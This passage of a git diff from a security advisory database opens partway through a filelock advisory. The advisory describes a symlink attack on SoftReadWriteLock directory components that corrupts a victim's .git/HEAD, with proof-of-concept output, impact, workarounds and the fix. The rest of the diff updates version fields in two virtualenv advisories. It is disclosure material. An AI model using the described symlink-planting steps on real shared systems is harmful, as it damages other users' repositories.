one with a world-writable `holders/`, and makes `app.lock.rw/gen` a symbolic link to `/home/victim/project/.git`, using only write access to `/srv/shared`. On the scanned commit it prints:\n\n```\nCONTROL attacker opens HEAD for writing: PermissionError: [Errno 13] Permission denied: '/home/victim/project/.git/HEAD'\nVICTIM victim: finished job 1 and released the lock\nVICTIM app.lock.rw owner uid 1000 mode 0o700\nATTACK app.lock.rw/gen -> /home/victim/project/.git\nCONTROL new worker: RuntimeError: /srv/shared/app.lock.rw/gen exists but is not a directory or is a symlink; refusing to use it\nCONTROL HEAD after the new worker: 'ref: refs/heads/master\\n'\nVICTIM victim: finished job 2 and released the lock\nOBSERVED HEAD: '\\nfilelock-rw/1\\ngeneration=2\\n'\nOBSERVED .git: [..., 'epoch', '00000000000000000001', '00000000000000000002', ...]\nOBSERVED git status: fatal: not a git repository\nBUG\n```\n\nThe `CONTROL` lines show that the other account cannot reach the repository itself and that a fresh lock object refuses the planted tree. The existing check works; the code does not repeat it for a live instance. The sticky-directory variant ends the same way, with `fs.protected_symlinks=1`. There the other account creates `app.lock.rw`, `gen` and `holders` with mode `0777` in a `1777` parent before the lock user's first acquire, then renames its own `gen` aside and links it to the lock user's `.git`.\n\nOur verification: `BUG` on the scanned commit `b831496` and on the 4.2.0 image (`e2e7d70`). On the PR #842 stack head: `OK`, `HEAD` stays `ref: refs/heads/master`, `.git` keeps its original listing and `git status` answers `On branch master`. The result is the same with the stack's owner check disabled, so it does not depend on who owns the tree.\n\n## Impact\n\nWith the lock user's privileges, in any directory the lock user can write, the other user gets a file named `HEAD` replaced, new files `epoch`, `HEAD` and 20-digit generation names created (mode `0600`), and files deleted whose names match the protocol's patterns (32 hex digits, 20 digits, `.commit-*`). The bytes written are filelock's own records, not chosen by the other user. Replacing `HEAD` makes a git repository unusable when the other user knows its path. Renaming `.rw` away is something this other user may do anyway, and `docs/how-to.rst` documents the result (a new log starts). What this finding adds is that the lock user's file operations leave the lock's directory.\n\nThis is adjacent to GHSA-j8f7-rjxc-mr56 (`ReadWriteLock` following a symbolic link at its database path, fixed in 4.0.9) and the earlier symbolic link fixes (PR 461 for lock file creation, PR 465 for `SoftFileLock`, PR 565 for refreshing soft read/write lock markers). Each guards the final path component. Here the link sits at a directory component, which `O_NOFOLLOW` does not cover.\n\n## Workarounds\n\n- Keep the lock path in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share a `SoftReadWriteLock` between accounts through a `0777` or group-writable directory.\n- In a sticky directory such as `/tmp`, make sure the locking account creates `.rw` before anyone else can (for example at install time with mode `0700`), and do not use a lock path whose `.rw` belongs to another account.\n- Prefer a fresh lock object per unit of work over a long-lived singleton when other accounts can write the lock directory. A fresh object re-runs the directory check and refuses a planted tree.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/842\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (scan `filelock-20261015-005` of commit `b831496b0273`)\n- 2026-10-16 00:46 UTC: draft advisory created\n- 2026-10-16 01:39 UTC: fix PR #842 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-wfhq-q4j2-c37m" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112941" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/842" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2026-22701.json b/advisories/BREW-virtualenv-CVE-2026-22701.json index fff2ed6f0d5..7d8c9aff03e 100644 --- a/advisories/BREW-virtualenv-CVE-2026-22701.json +++ b/advisories/BREW-virtualenv-CVE-2026-22701.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-virtualenv-CVE-2026-22701", "published": "2026-08-13T17:46:53Z", - "modified": "2026-10-21T09:05:28Z", + "modified": "2026-10-29T23:11:49Z", "upstream": [ "GHSA-qmgc-5h2g-mvrw", "CVE-2026-22701", @@ -33,7 +33,7 @@ "range_state": "fixed", "upstream_fixed_in": "3.20.3", "resource": "filelock", - "resource_purl": "pkg:pypi/filelock@4.2.2" + "resource_purl": "pkg:pypi/filelock@4.2.4" } } ], @@ -46,8 +46,8 @@ "strategy": "registry", "ecosystem": "PyPI", "name": "filelock", - "subject_version": "4.2.2", - "key": "pkg:pypi/filelock@4.2.2", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", "resource": "filelock" } ] diff --git a/advisories/BREW-virtualenv-CVE-2026-22702.json b/advisories/BREW-virtualenv-CVE-2026-22702.json index 3d4b6ef0c01..9528c06b574 100644 --- a/advisories/BREW-virtualenv-CVE-2026-22702.json +++ b/advisories/BREW-virtualenv-CVE-2026-22702.json @@ -2,7 +2,7 @@ "schema_version": "1.7.3", "id": "BREW-virtualenv-CVE-2026-22702", "published": "2026-08-13T17:46:53Z", - "modified": "2026-10-21T09:05:28Z", + "modified": "2026-10-29T23:11:49Z", "upstream": [ "CVE-2026-22702", "BIT-virtualenv-2026-22702", @@ -45,15 +45,15 @@ "strategy": "git", "ecosystem": "GIT", "name": "https://github.com/pypa/virtualenv", - "subject_version": "21.14.11", + "subject_version": "21.15.1", "key": "https://github.com/pypa/virtualenv" }, { "strategy": "registry", "ecosystem": "PyPI", "name": "virtualenv", - "subject_version": "21.14.11", - "key": "pkg:pypi/virtualenv@21.14.11" + "subject_version": "21.15.1", + "key": "pkg:pypi/virtualenv@21.15.1" }, { "strategy": "distro", @@ -65,15 +65,15 @@ "strategy": "distro", "ecosystem": "GIT", "name": "https://github.com/pypa/virtualenv", - "subject_version": "21.14.11", + "subject_version": "21.15.1", "key": "upstream:https://github.com/pypa/virtualenv" }, { "strategy": "distro", "ecosystem": "PyPI", "name": "virtualenv", - "subject_version": "21.14.11", - "key": "upstream:pkg:pypi/virtualenv@21.14.11" + "subject_version": "21.15.1", + "key": "upstream:pkg:pypi/virtualenv@21.15.1" }, { "strategy": "distro",